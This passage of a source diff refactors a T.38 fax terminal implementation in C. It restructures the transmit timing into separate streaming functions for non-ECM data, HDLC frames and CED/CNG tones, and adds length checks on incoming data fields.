-#define T38_CHUNKING_MERGE_FCS_WITH_DATA        0x0001
-#define T38_CHUNKING_WHOLE_FRAMES               0x0002
-#define T38_CHUNKING_ALLOW_TEP_TIME             0x0004
+enum
+{
+    T38_CHUNKING_MERGE_FCS_WITH_DATA    = 0x0001,
+    T38_CHUNKING_WHOLE_FRAMES           = 0x0002,
+    T38_CHUNKING_ALLOW_TEP_TIME         = 0x0004
+};
 
 enum
 {
     T38_TIMED_STEP_NONE = 0,
-    T38_TIMED_STEP_NON_ECM_MODEM,
-    T38_TIMED_STEP_NON_ECM_MODEM_2,
-    T38_TIMED_STEP_NON_ECM_MODEM_3,
-    T38_TIMED_STEP_NON_ECM_MODEM_4,
-    T38_TIMED_STEP_NON_ECM_MODEM_5,
-    T38_TIMED_STEP_HDLC_MODEM,
-    T38_TIMED_STEP_HDLC_MODEM_2,
-    T38_TIMED_STEP_HDLC_MODEM_3,
-    T38_TIMED_STEP_HDLC_MODEM_4,
-    T38_TIMED_STEP_CED,
-    T38_TIMED_STEP_CED_2,
-    T38_TIMED_STEP_CNG,
-    T38_TIMED_STEP_CNG_2,
-    T38_TIMED_STEP_PAUSE
+    T38_TIMED_STEP_NON_ECM_MODEM = 0x10,
+    T38_TIMED_STEP_NON_ECM_MODEM_2 = 0x11,
+    T38_TIMED_STEP_NON_ECM_MODEM_3 = 0x12,
+    T38_TIMED_STEP_NON_ECM_MODEM_4 = 0x13,
+    T38_TIMED_STEP_NON_ECM_MODEM_5 = 0x14,
+    T38_TIMED_STEP_HDLC_MODEM = 0x20,
+    T38_TIMED_STEP_HDLC_MODEM_2 = 0x21,
+    T38_TIMED_STEP_HDLC_MODEM_3 = 0x22,
+    T38_TIMED_STEP_HDLC_MODEM_4 = 0x23,
+    T38_TIMED_STEP_HDLC_MODEM_5 = 0x24,
+    T38_TIMED_STEP_CED = 0x30,
+    T38_TIMED_STEP_CED_2 = 0x31,
+    T38_TIMED_STEP_CED_3 = 0x32,
+    T38_TIMED_STEP_CNG = 0x40,
+    T38_TIMED_STEP_CNG_2 = 0x41,
+    T38_TIMED_STEP_PAUSE = 0x50
 };
 
+static __inline__ void front_end_status(t38_terminal_state_t *s, int status)
+{
+    t30_front_end_status(&s->t30, status);
+}
+/*- End of function --------------------------------------------------------*/
+
+static __inline__ void hdlc_accept_frame(t38_terminal_state_t *s, const uint8_t *msg, int len, int ok)
+{
+    t30_hdlc_accept(&s->t30, msg, len, ok);
+}
+/*- End of function --------------------------------------------------------*/
+
 static int extra_bits_in_stuffed_frame(const uint8_t buf[], int len)
 {
     int bitstream;
@@ -119,7 +142,7 @@
     bitstream = 0;
     ones = 0;
     stuffed = 0;
-    /* We should really append the CRC, and included the stuffed bits for that, to get
+    /* We should really append the CRC, and include the stuffed bits for that, to get
        the exact number of bits in the frame. */
     //len = crc_itu16_append(buf, len);
     for (i = 0;  i < len;  i++)
@@ -191,23 +214,27 @@
             &&
             (fe->current_rx_type == T30_MODEM_V21  ||  fe->current_rx_type == T30_MODEM_CNG))
         {
-            t30_hdlc_accept(&s->t30, NULL, SIG_STATUS_CARRIER_DOWN, TRUE);
+            hdlc_accept_frame(s, NULL, SIG_STATUS_CARRIER_DOWN, TRUE);
         }
         fe->timeout_rx_samples = 0;
-        t30_front_end_status(&s->t30, T30_FRONT_END_SIGNAL_ABSENT);
+        front_end_status(s, T30_FRONT_END_SIGNAL_ABSENT);
         break;
     case T38_IND_CNG:
-    case T38_IND_CED:
         /* We are completely indifferent to the startup tones. They serve no purpose for us.
            We can't even assume that the existance of a tone means the far end is achieving
            proper communication. Some T.38 gateways will just send out a CED or CNG indicator
-           without having seen anything from the far end FAX terminal. */
+           without having seen anything from the far end FAX terminal.
+           Just report them for completeness. */
+        front_end_status(s, T30_FRONT_END_CNG_PRESENT);
         break;
+    case T38_IND_CED:
+        front_end_status(s, T30_FRONT_END_CED_PRESENT);
+        break;
     case T38_IND_V21_PREAMBLE:
         /* Some T.38 implementations insert these preamble indicators between HDLC frames, so
            we need to be tolerant of that. */
         fe->timeout_rx_samples = fe->samples + ms_to_samples(MID_RX_TIMEOUT);
-        t30_front_end_status(&s->t30, T30_FRONT_END_SIGNAL_PRESENT);
+        front_end_status(s, T30_FRONT_END_SIGNAL_PRESENT);
         break;
     case T38_IND_V27TER_2400_TRAINING:
     case T38_IND_V27TER_4800_TRAINING:
@@ -226,7 +253,7 @@
         /* We really don't care what kind of modem is delivering the following image data.
            We only care that some kind of fast modem signal is coming next. */
         fe->timeout_rx_samples = fe->samples + ms_to_samples(MID_RX_TIMEOUT);
-        t30_front_end_status(&s->t30, T30_FRONT_END_SIGNAL_PRESENT);
+        front_end_status(s, T30_FRONT_END_SIGNAL_PRESENT);
         break;
     case T38_IND_V8_ANSAM:
     case T38_IND_V8_SIGNAL:
@@ -234,10 +261,10 @@
     case T38_IND_V34_PRI_CHANNEL:
     case T38_IND_V34_CC_RETRAIN:
         /* V.34 support is a work in progress. */
-        t30_front_end_status(&s->t30, T30_FRONT_END_SIGNAL_PRESENT);
+        front_end_status(s, T30_FRONT_END_SIGNAL_PRESENT);
         break;
     default:
-        t30_front_end_status(&s->t30, T30_FRONT_END_SIGNAL_ABSENT);
+        front_end_status(s, T30_FRONT_END_SIGNAL_ABSENT);
         break;
     }
     fe->hdlc_rx.len = 0;
@@ -251,7 +278,7 @@
     t38_terminal_state_t *s;
     t38_terminal_front_end_state_t *fe;
 #if defined(_MSC_VER)
-    uint8_t *buf2 = alloca(len);
+    uint8_t *buf2 = (uint8_t *) _alloca(len);
 #else
     uint8_t buf2[len];
 #endif
@@ -281,7 +308,6 @@
         break;
     }
 #endif
-
     switch (field_type)
     {
     case T38_FIELD_HDLC_DATA:
@@ -291,13 +317,13 @@
                there is zero packet lost. Nasty, but true. Its a good idea to be tolerant of
                loss, though, so accepting a sudden start of HDLC data is the right thing to do. */
             fe->timeout_rx_samples = fe->samples + ms_to_samples(MID_RX_TIMEOUT);
-            t30_front_end_status(&s->t30, T30_FRONT_END_SIGNAL_PRESENT);
+            front_end_status(s, T30_FRONT_END_SIGNAL_PRESENT);
             /* All real HDLC messages in the FAX world start with 0xFF. If this one is not starting
                with 0xFF it would appear some octets must have been missed before this one. */
-            if (buf[0] != 0xFF)
+            if (len <= 0  ||  buf[0] != 0xFF)
                 fe->rx_data_missing = TRUE;
         }
-        if (fe->hdlc_rx.len + len <= T38_MAX_HDLC_LEN)
+        if (len > 0  &&  fe->hdlc_rx.len + len <= T38_MAX_HDLC_LEN)
         {
             bit_reverse(fe->hdlc_rx.buf + fe->hdlc_rx.len, buf, len);
             fe->hdlc_rx.len += len;
@@ -317,7 +343,7 @@
         if (t->current_rx_data_type != data_type  ||  t->current_rx_field_type != field_type)
         {
             span_log(&s->logging, SPAN_LOG_FLOW, "Type %s - CRC OK (%s)\n", (fe->hdlc_rx.len >= 3)  ?  t30_frametype(fe->hdlc_rx.buf[2])  :  "???", (fe->rx_data_missing)  ?  "missing octets"  :  "clean");
-            t30_hdlc_accept(&s->t30, fe->hdlc_rx.buf, fe->hdlc_rx.len, !fe->rx_data_missing);
+            hdlc_accept_frame(s, fe->hdlc_rx.buf, fe->hdlc_rx.len, !fe->rx_data_missing);
         }
         fe->hdlc_rx.len = 0;
         fe->rx_data_missing = FALSE;
@@ -336,7 +362,7 @@
         if (t->current_rx_data_type != data_type  ||  t->current_rx_field_type != field_type)
         {
             span_log(&s->logging, SPAN_LOG_FLOW, "Type %s - CRC bad (%s)\n", (fe->hdlc_rx.len >= 3)  ?  t30_frametype(fe->hdlc_rx.buf[2])  :  "???", (fe->rx_data_missing)  ?  "missing octets"  :  "clean");
-            t30_hdlc_accept(&s->t30, fe->hdlc_rx.buf, fe->hdlc_rx.len, FALSE);
+            hdlc_accept_frame(s, fe->hdlc_rx.buf, fe->hdlc_rx.len, FALSE);
         }
         fe->hdlc_rx.len = 0;
         fe->rx_data_missing = FALSE;
@@ -355,8 +381,8 @@
         if (t->current_rx_data_type != data_type  ||  t->current_rx_field_type != field_type)
         {
             span_log(&s->logging, SPAN_LOG_FLOW, "Type %s - CRC OK, sig end (%s)\n", (fe->hdlc_rx.len >= 3)  ?  t30_frametype(fe->hdlc_rx.buf[2])  :  "???", (fe->rx_data_missing)  ?  "missing octets"  :  "clean");
-            t30_hdlc_accept(&s->t30, fe->hdlc_rx.buf, fe->hdlc_rx.len, !fe->rx_data_missing);
-            t30_hdlc_accept(&s->t30, NULL, SIG_STATUS_CARRIER_DOWN, TRUE);
+            hdlc_accept_frame(s, fe->hdlc_rx.buf, fe->hdlc_rx.len, !fe->rx_data_missing);
+            hdlc_accept_frame(s, NULL, SIG_STATUS_CARRIER_DOWN, TRUE);
         }
         fe->hdlc_rx.len = 0;
         fe->rx_data_missing = FALSE;
@@ -375,8 +401,8 @@
         if (t->current_rx_data_type != data_type  ||  t->current_rx_field_type != field_type)
         {
             span_log(&s->logging, SPAN_LOG_FLOW, "Type %s - CRC bad, sig end (%s)\n", (fe->hdlc_rx.len >= 3)  ?  t30_frametype(fe->hdlc_rx.buf[2])  :  "???", (fe->rx_data_missing)  ?  "missing octets"  :  "clean");
-            t30_hdlc_accept(&s->t30, fe->hdlc_rx.buf, fe->hdlc_rx.len, FALSE);
-            t30_hdlc_accept(&s->t30, NULL, SIG_STATUS_CARRIER_DOWN, TRUE);
+            hdlc_accept_frame(s, fe->hdlc_rx.buf, fe->hdlc_rx.len, FALSE);
+            hdlc_accept_frame(s, NULL, SIG_STATUS_CARRIER_DOWN, TRUE);
         }
         fe->hdlc_rx.len = 0;
         fe->rx_data_missing = FALSE;
@@ -403,7 +429,7 @@
             fe->hdlc_rx.len = 0;
             fe->rx_data_missing = FALSE;
             fe->timeout_rx_samples = 0;
-            t30_front_end_status(&s->t30, T30_FRONT_END_RECEIVE_COMPLETE);
+            front_end_status(s, T30_FRONT_END_RECEIVE_COMPLETE);
         }
         break;
     case T38_FIELD_T4_NON_ECM_DATA:
@@ -412,8 +438,11 @@
             t30_non_ecm_put_bit(&s->t30, SIG_STATUS_TRAINING_SUCCEEDED);
             fe->rx_signal_present = TRUE;
         }
-        bit_reverse(buf2, buf, len);
-        t30_non_ecm_put_chunk(&s->t30, buf2, len);
+        if (len > 0)
+        {
+            bit_reverse(buf2, buf, len);
+            t30_non_ecm_put_chunk(&s->t30, buf2, len);
+        }
         fe->timeout_rx_samples = fe->samples + ms_to_samples(MID_RX_TIMEOUT);
         break;
     case T38_FIELD_T4_NON_ECM_SIG_END:
@@ -436,7 +465,7 @@
                            they should send non-ECM signal end. It is possible they also do the opposite.
                            We need to tolerate this, so we use the generic receive complete
                            indication, rather than the specific non-ECM carrier down. */
-            t30_front_end_status(&s->t30, T30_FRONT_END_RECEIVE_COMPLETE);
+            front_end_status(s, T30_FRONT_END_RECEIVE_COMPLETE);
         }
         fe->rx_signal_present = FALSE;
         fe->timeout_rx_samples = 0;
@@ -484,90 +513,354 @@
     s = (t38_terminal_state_t *) user_data;
     if (len <= 0)
     {
-        s->t38_fe.tx.len = -1;
+        s->t38_fe.hdlc_tx.len = -1;
     }
     else
     {
-        s->t38_fe.tx.extra_bits = extra_bits_in_stuffed_frame(msg, len);
-        bit_reverse(s->t38_fe.tx.buf, msg, len);
-        s->t38_fe.tx.len = len;
-        s->t38_fe.tx.ptr = 0;
+        s->t38_fe.hdlc_tx.extra_bits = extra_bits_in_stuffed_frame(msg, len);
+        bit_reverse(s->t38_fe.hdlc_tx.buf, msg, len);
+        s->t38_fe.hdlc_tx.len = len;
+        s->t38_fe.hdlc_tx.ptr = 0;
     }
 }
 /*- End of function --------------------------------------------------------*/
 
-static __inline__ int bits_to_samples(t38_terminal_state_t *s, int bits)
+static __inline__ int bits_to_us(t38_terminal_state_t *s, int bits)
 {
-    /* This does not handle fractions properly, so they may accumulate. They
-       shouldn't be able to accumulate far enough to be troublesome. */
-    /* TODO: Is the above statement accurate when sending a long string of
-             octets, one per IFP packet, at V.21 rate? */
-    if (s->t38_fe.ms_per_tx_chunk == 0)
+    if (s->t38_fe.ms_per_tx_chunk == 0  ||  s->t38_fe.tx_bit_rate == 0)
         return 0;
-    return bits*8000/s->t38_fe.tx_bit_rate;
+    return bits*1000000/s->t38_fe.tx_bit_rate;
 }
 /*- End of function --------------------------------------------------------*/
 
 static void set_octets_per_data_packet(t38_terminal_state_t *s, int bit_rate)
 {
     s->t38_fe.tx_bit_rate = bit_rate;
-    if (s->t38_fe.ms_per_tx_chunk == 0)
+    if (s->t38_fe.ms_per_tx_chunk)
     {
-        s->t38_fe.octets_per_data_packet = MAX_OCTETS_PER_UNPACED_CHUNK;
-    }
-    else
-    {
         s->t38_fe.octets_per_data_packet = s->t38_fe.ms_per_tx_chunk*bit_rate/(8*1000);
         /* Make sure we have a positive number (i.e. we didn't truncate to zero). */
         if (s->t38_fe.octets_per_data_packet < 1)
             s->t38_fe.octets_per_data_packet = 1;
     }
+    else
+    {
+        s->t38_fe.octets_per_data_packet = MAX_OCTETS_PER_UNPACED_CHUNK;
+    }
 }
 /*- End of function --------------------------------------------------------*/
 
-int t38_terminal_send_timeout(t38_terminal_state_t *s, int samples)
+static int stream_non_ecm(t38_terminal_state_t *s)
 {
+    t38_terminal_front_end_state_t *fe;
+    uint8_t buf[MAX_OCTETS_PER_UNPACED_CHUNK + 50];
+    int delay;
     int len;
-    int i;
-    int previous;
+
+    fe = &s->t38_fe;
+    for (delay = 0;  delay == 0;  )
+    {
+        switch (fe->timed_step)
+        {
+        case T38_TIMED_STEP_NON_ECM_MODEM:
+            /* Create a 75ms silence */
+            if (fe->t38.current_tx_indicator != T38_IND_NO_SIGNAL)
+                delay = t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL);
+            else
+                delay = 75000;
+            fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_2;
+            fe->next_tx_samples = fe->samples;
+            break;
+        case T38_TIMED_STEP_NON_ECM_MODEM_2:
+            /* Switch on a fast modem, and give the training time to complete */
+            delay = t38_core_send_indicator(&fe->t38, fe->next_tx_indicator);
+            fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_3;
+            break;
+        case T38_TIMED_STEP_NON_ECM_MODEM_3:
+            /* Send a chunk of non-ECM image data */
+            /* T.38 says it is OK to send the last of the non-ECM data in the signal end message.
+               However, I think the early versions of T.38 said the signal end message should not
+               contain data. Hopefully, following the current spec will not cause compatibility
+               issues. */
+            len = t30_non_ecm_get_chunk(&s->t30, buf, fe->octets_per_data_packet);
+            if (len > 0)
+                bit_reverse(buf, buf, len);
+            if (len < fe->octets_per_data_packet)
+            {
+                /* That's the end of the image data. */
+                if (s->t38_fe.ms_per_tx_chunk)
+                {
+                    /* Pad the end of the data with some zeros. If we just stop abruptly
+                       at the end of the EOLs, some ATAs fail to clean up properly before
+                       shutting down their transmit modem, and the last few rows of the image
+                       are lost or corrupted. Simply delaying the no-signal message does not
+                       help for all implentations. It is usually ignored, which is probably
+                       the right thing to do after receiving a message saying the signal has
+                       ended. */
+                    memset(buf + len, 0, fe->octets_per_data_packet - len);
+                    fe->non_ecm_trailer_bytes = 3*fe->octets_per_data_packet + len;
+                    len = fe->octets_per_data_packet;
+                    fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_4;
+                }
+                else
+                {
+                    /* If we are sending quickly there seems no point in doing any padding */
+                    t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_T4_NON_ECM_SIG_END, buf, len, T38_PACKET_CATEGORY_IMAGE_DATA_END);
+                    fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_5;
+                    delay = 0;
+                    break;
+                }
+            }
+            t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_T4_NON_ECM_DATA, buf, len, T38_PACKET_CATEGORY_IMAGE_DATA);
+            delay = bits_to_us(s, 8*len);
+            break;
+        case T38_TIMED_STEP_NON_ECM_MODEM_4:
+            /* Send padding */
+            len = fe->octets_per_data_packet;
+            fe->non_ecm_trailer_bytes -= fe->octets_per_data_packet;
+            if (fe->non_ecm_trailer_bytes <= 0)
+            {
+                len += fe->non_ecm_trailer_bytes;
+                memset(buf, 0, len);
+                t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_T4_NON_ECM_SIG_END, buf, len, T38_PACKET_CATEGORY_IMAGE_DATA_END);
+                fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_5;
+                /* Allow a bit more time than the data will take to play out, to ensure the far ATA does not
+                   cut things short. */
+                delay = bits_to_us(s, 8*len);
+                if (s->t38_fe.ms_per_tx_chunk)
+                    delay += 60000;
+                front_end_status(s, T30_FRONT_END_SEND_STEP_COMPLETE);
+                break;
+            }
+            memset(buf, 0, len);
+            t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_T4_NON_ECM_DATA, buf, len, T38_PACKET_CATEGORY_IMAGE_DATA);
+            delay = bits_to_us(s, 8*len);
+            break;
+        case T38_TIMED_STEP_NON_ECM_MODEM_5:
+            /* This should not be needed, since the message above indicates the end of the signal, but it
+               seems like it can improve compatibility with quirky implementations. */
+            delay = t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL);
+            fe->timed_step = T38_TIMED_STEP_NONE;
+            return delay;
+        }
+    }
+    return delay;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int stream_hdlc(t38_terminal_state_t *s)
+{
+    t38_terminal_front_end_state_t *fe;
     uint8_t buf[MAX_OCTETS_PER_UNPACED_CHUNK + 50];
-    t38_terminal_front_end_state_t *fe;
     t38_data_field_t data_fields[2];
-    /* The times for training, the optional TEP, and the HDLC preamble, for all the modem options, in ms.
-       Note that the preamble for V.21 is 1s+-15%, and for the other modems is 200ms+100ms. */
-    static const struct
+    int category;
+    int previous;
+    int delay;
+    int i;
+
+    fe = &s->t38_fe;
+    for (delay = 0;  delay == 0;  )
     {
-        int tep;
-        int training;
-        int flags;
-    } startup_time[] =
+        switch (fe->timed_step)
+        {
+        case T38_TIMED_STEP_HDLC_MODEM:
+            /* Create a 75ms silence */
+            if (fe->t38.current_tx_indicator != T38_IND_NO_SIGNAL)
+                delay = t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL);
+            else
+                delay = 75000;
+            fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_2;
+            fe->next_tx_samples = fe->samples;
+            break;
+        case T38_TIMED_STEP_HDLC_MODEM_2:
+            /* Send HDLC preambling */
+            delay = t38_core_send_indicator(&fe->t38, fe->next_tx_indicator);
+            delay += t38_core_send_flags_delay(&fe->t38, fe->next_tx_indicator);
+            fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_3;
+            break;
+        case T38_TIMED_STEP_HDLC_MODEM_3:
+            /* Send a chunk of HDLC data */
+            i = fe->hdlc_tx.len - fe->hdlc_tx.ptr;
+            if (fe->octets_per_data_packet >= i)
+            {
+                /* The last part of an HDLC frame */
+                if (fe->chunking_modes & T38_CHUNKING_MERGE_FCS_WITH_DATA)
+                {
+                    /* Copy the data, as we might be about to refill the buffer it is in */
+                    memcpy(buf, &fe->hdlc_tx.buf[fe->hdlc_tx.ptr], i);
+                    data_fields[0].field_type = T38_FIELD_HDLC_DATA;
+                    data_fields[0].field = buf;
+                    data_fields[0].field_len = i;
+
+                    /* Now see about the next HDLC frame. This will tell us whether to send FCS_OK or FCS_OK_SIG_END */
+                    previous = fe->current_tx_data_type;
+                    fe->hdlc_tx.ptr = 0;
+                    fe->hdlc_tx.len = 0;
+                    front_end_status(s, T30_FRONT_END_SEND_STEP_COMPLETE);
+                    /* The above step should have got the next HDLC step ready - either another frame, or an instruction to stop transmission. */
+                    if (fe->hdlc_tx.len < 0)
+                    {
+                        data_fields[1].field_type = T38_FIELD_HDLC_FCS_OK_SIG_END;
+                        data_fields[1].field = NULL;
+                        data_fields[1].field_len = 0;
+                        category = (s->t38_fe.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA_END  :  T38_PACKET_CATEGORY_IMAGE_DATA_END;
+                        t38_core_send_data_multi_field(&fe->t38, fe->current_tx_data_type, data_fields, 2, category);
+                        fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_5;
+                        /* We add a bit of extra time here, as with some implementations
+                           the carrier falling too abruptly causes data loss. */
+                        delay = bits_to_us(s, i*8 + fe->hdlc_tx.extra_bits);
+                        if (s->t38_fe.ms_per_tx_chunk)
+                            delay += 100000;
+                        front_end_status(s, T30_FRONT_END_SEND_STEP_COMPLETE);
+                    }
+                    else
+                    {
+                        data_fields[1].field_type = T38_FIELD_HDLC_FCS_OK;
+                        data_fields[1].field = NULL;
+                        data_fields[1].field_len = 0;
+                        category = (s->t38_fe.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA  :  T38_PACKET_CATEGORY_IMAGE_DATA;
+                        t38_core_send_data_multi_field(&fe->t38, fe->current_tx_data_type, data_fields, 2, category);
+                        fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_3;
+                        delay = bits_to_us(s, i*8 + fe->hdlc_tx.extra_bits);
+                    }
+                    break;
+                }
+                category = (s->t38_fe.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA  :  T38_PACKET_CATEGORY_IMAGE_DATA;
+                t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_HDLC_DATA, &fe->hdlc_tx.buf[fe->hdlc_tx.ptr], i, category);
+                fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_4;
+            }
+            else
+            {
+                i = fe->octets_per_data_packet;
+                category = (s->t38_fe.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA  :  T38_PACKET_CATEGORY_IMAGE_DATA;
+                t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_HDLC_DATA, &fe->hdlc_tx.buf[fe->hdlc_tx.ptr], i, category);
+                fe->hdlc_tx.ptr += i;
+            }
+            delay = bits_to_us(s, i*8);
+            break;
+        case T38_TIMED_STEP_HDLC_MODEM_4:
+            /* End of HDLC frame */
+            previous = fe->current_tx_data_type;
+            fe->hdlc_tx.ptr = 0;
+            fe->hdlc_tx.len = 0;
+            front_end_status(s, T30_FRONT_END_SEND_STEP_COMPLETE);
+            /* The above step should have got the next HDLC step ready - either another frame, or an instruction to stop transmission. */
+            if (fe->hdlc_tx.len < 0)
+            {
+                /* End of transmission */
+                category = (s->t38_fe.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA_END  :  T38_PACKET_CATEGORY_IMAGE_DATA_END;
+                t38_core_send_data(&fe->t38, previous, T38_FIELD_HDLC_FCS_OK_SIG_END, NULL, 0, category);
+                fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_5;
+                /* We add a bit of extra time here, as with some implementations
+                   the carrier falling too abruptly causes data loss. */
+                delay = bits_to_us(s, fe->hdlc_tx.extra_bits);
+                if (s->t38_fe.ms_per_tx_chunk)
+                    delay += 100000;
+                front_end_status(s, T30_FRONT_END_SEND_STEP_COMPLETE);
+                break;
+            }
+            if (fe->hdlc_tx.len == 0)
+            {
+                /* Now, how did we get here? We have finished a frame, but have no new frame to
+                   send, and no end of transmission condition. */
+                span_log(&s->logging, SPAN_LOG_FLOW, "No new frame or end transmission condition.\n");
+            }
+            /* Finish the current frame off, and prepare for the next one. */
+            category = (s->t38_fe.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA  :  T38_PACKET_CATEGORY_IMAGE_DATA;
+            t38_core_send_data(&fe->t38, previous, T38_FIELD_HDLC_FCS_OK, NULL, 0, category);
+            fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_3;
+            /* We should now wait enough time for everything to clear through an analogue modem at the far end. */
+            delay = bits_to_us(s, fe->hdlc_tx.extra_bits);
+            break;
+        case T38_TIMED_STEP_HDLC_MODEM_5:
+            /* Note that some boxes do not like us sending a T38_FIELD_HDLC_SIG_END at this point.
+               A T38_IND_NO_SIGNAL should always be OK. */
+            delay = t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL);
+            fe->timed_step = T38_TIMED_STEP_NONE;
+            return delay;
+        }
+    }
+    return delay;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int stream_ced(t38_terminal_state_t *s)
+{
+    t38_terminal_front_end_state_t *fe;
+    int delay;
+
+    fe = &s->t38_fe;
+    for (delay = 0;  delay == 0;  )
     {
-        {   0,    0,    0},     /* T38_IND_NO_SIGNAL */
-        {   0,    0,    0},     /* T38_IND_CNG */
-        {   0,    0,    0},     /* T38_IND_CED */
-        {   0,    0, 1000},     /* T38_IND_V21_PREAMBLE */ /* TODO: 850ms should be OK for this, but it causes trouble with some ATAs. Why? */
-        { 215,  943,  200},     /* T38_IND_V27TER_2400_TRAINING */
-        { 215,  708,  200},     /* T38_IND_V27TER_4800_TRAINING */
-        { 215,  234,  200},     /* T38_IND_V29_7200_TRAINING */
-        { 215,  234,  200},     /* T38_IND_V29_9600_TRAINING */
-        { 215,  142,  200},     /* T38_IND_V17_7200_SHORT_TRAINING */
-        { 215, 1393,  200},     /* T38_IND_V17_7200_LONG_TRAINING */
-        { 215,  142,  200},     /* T38_IND_V17_9600_SHORT_TRAINING */
-        { 215, 1393,  200},     /* T38_IND_V17_9600_LONG_TRAINING */
-        { 215,  142,  200},     /* T38_IND_V17_12000_SHORT_TRAINING */
-        { 215, 1393,  200},     /* T38_IND_V17_12000_LONG_TRAINING */
-        { 215,  142,  200},     /* T38_IND_V17_14400_SHORT_TRAINING */
-        { 215, 1393,  200},     /* T38_IND_V17_14400_LONG_TRAINING */
-        { 215,    0,    0},     /* T38_IND_V8_ANSAM */
-        { 215,    0,    0},     /* T38_IND_V8_SIGNAL */
-        { 215,    0,    0},     /* T38_IND_V34_CNTL_CHANNEL_1200 */
-        { 215,    0,    0},     /* T38_IND_V34_PRI_CHANNEL */
-        { 215,    0,    0},     /* T38_IND_V34_CC_RETRAIN */
-        { 215,    0,    0},     /* T38_IND_V33_12000_TRAINING */
-        { 215,    0,    0}      /* T38_IND_V33_14400_TRAINING */
-    };
+        switch (fe->timed_step)
+        {
+        case T38_TIMED_STEP_CED:
+            /* It seems common practice to start with a no signal indicator, though
+               this is not a specified requirement. Since we should be sending 200ms
+               of silence, starting the delay with a no signal indication makes sense.
+               We do need a 200ms delay, as that is a specification requirement. */
+            fe->timed_step = T38_TIMED_STEP_CED_2;
+            delay = t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL);
+            delay = 200000;
+            fe->next_tx_samples = fe->samples;
+            break;
+        case T38_TIMED_STEP_CED_2:
+            /* Initial 200ms delay over. Send the CED indicator */
+            fe->timed_step = T38_TIMED_STEP_CED_3;
+            delay = t38_core_send_indicator(&fe->t38, T38_IND_CED);
+            fe->current_tx_data_type = T38_DATA_NONE;
+            break;
+        case T38_TIMED_STEP_CED_3:
+            /* End of CED */
+            fe->timed_step = T38_TIMED_STEP_NONE;
+            front_end_status(s, T30_FRONT_END_SEND_STEP_COMPLETE);
+            return 0;
+        }
+    }
+    return delay;
+}
+/*- End of function --------------------------------------------------------*/
 
+static int stream_cng(t38_terminal_state_t *s)
+{
+    t38_terminal_front_end_state_t *fe;
+    int delay;
+
     fe = &s->t38_fe;
+    for (delay = 0;  delay == 0;  )
+    {
+        switch (fe->timed_step)
+        {
+        case T38_TIMED_STEP_CNG:
+            /* It seems common practice to start with a no signal indicator, though
+               this is not a specified requirement of the T.38 spec. Since we should
+               be sending 200ms of silence, according to T.30, starting that delay with
+               a no signal indication makes sense. */
+            fe->timed_step = T38_TIMED_STEP_CNG_2;
+            delay = t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL);
+            delay = 200000;
+            fe->next_tx_samples = fe->samples;
+            break;
+        case T38_TIMED_STEP_CNG_2:
+            /* Initial short delay over. Send the CNG indicator. CNG persists until something
+               coming the other way interrupts it, or a long timeout controlled by the T.30 engine
+               expires. */
+            fe->timed_step = T38_TIMED_STEP_NONE;
+            delay = t38_core_send_indicator(&fe->t38, T38_IND_CNG);
+            fe->current_tx_data_type = T38_DATA_NONE;
+            return delay;
+        }
+    }
+    return delay;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) t38_terminal_send_timeout(t38_terminal_state_t *s, int samples)
+{
+    t38_terminal_front_end_state_t *fe;
+    int delay;
+
+    fe = &s->t38_fe;
     if (fe->current_rx_type == T30_MODEM_DONE  ||  fe->current_tx_type == T30_MODEM_DONE)
         return TRUE;
 
@@ -577,7 +870,7 @@
     {
         span_log(&s->logging, SPAN_LOG_FLOW, "Timeout mid-receive\n");
         fe->timeout_rx_samples = 0;
-        t30_front_end_status(&s->t30, T30_FRONT_END_RECEIVE_COMPLETE);
+        front_end_status(s, T30_FRONT_END_RECEIVE_COMPLETE);
     }
     if (fe->timed_step == T38_TIMED_STEP_NONE)
         return FALSE;
@@ -586,205 +879,28 @@
     if (fe->ms_per_tx_chunk  &&  fe->samples < fe->next_tx_samples)
         return FALSE;
     /* Its time to send something */
-    switch (fe->timed_step)
+    delay = 0;
+    switch (fe->timed_step & 0xFFF0)
     {
     case T38_TIMED_STEP_NON_ECM_MODEM:
-        /* Create a 75ms silence */
-        if (fe->t38.current_tx_indicator != T38_IND_NO_SIGNAL)
-            t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL, fe->t38.indicator_tx_count);
-        fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_2;
-        fe->next_tx_samples += ms_to_samples(75);
+        delay = stream_non_ecm(s);
         break;
-    case T38_TIMED_STEP_NON_ECM_MODEM_2:
-        /* Switch on a fast modem, and give the training time to complete */
